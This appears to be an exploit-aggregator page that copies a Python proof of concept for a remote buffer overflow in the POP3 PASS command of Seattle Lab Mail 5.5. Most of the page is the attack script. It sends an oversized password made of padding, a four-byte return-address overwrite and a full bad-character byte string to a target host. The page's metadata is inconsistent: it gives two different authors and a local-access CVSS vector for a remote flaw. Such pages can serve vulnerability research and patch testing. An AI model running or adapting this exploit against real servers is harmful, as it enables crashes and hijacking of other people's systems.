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Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow

CVE Category Price Severity
CVE-2006-2216 CWE-119 N/A High
Author Risk Exploitation Type Date
Daniele Linguaglossa High Remote 2021-04-02
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H 0.039 0.60109

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040014

Below is a copy:

Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow
# Exploit Title: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow
# Date: 02/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Windows7 x64
# Version: 5.5
# Description: There exists an unauthenticated buffer overflow vulnerability in the POP3 server of Seattle Lab Mail 5.5 when sending a password with excessive length. Successful exploitation should not crash either the service or the server; however, after initial use the port cannot be reused for successive exploitation until the service has been restarted.


*********************************************************************************************************


#!/usr/bin/python

import time, struct, sys
import socket as so

baddies=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A" * 2606 + "B" * 4 + baddies

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s ip" % sys.argv[0]
   sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to SLmail...."
try:   
   s.connect((server,port))
   s.recv(1024)
   s.send('USER jesse' +'\r\n')
   s.recv(1024)
   s.send('PASS ' + buffer + '\r\n')
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to SLmail. Check your IP address and port"
   sys.exit()

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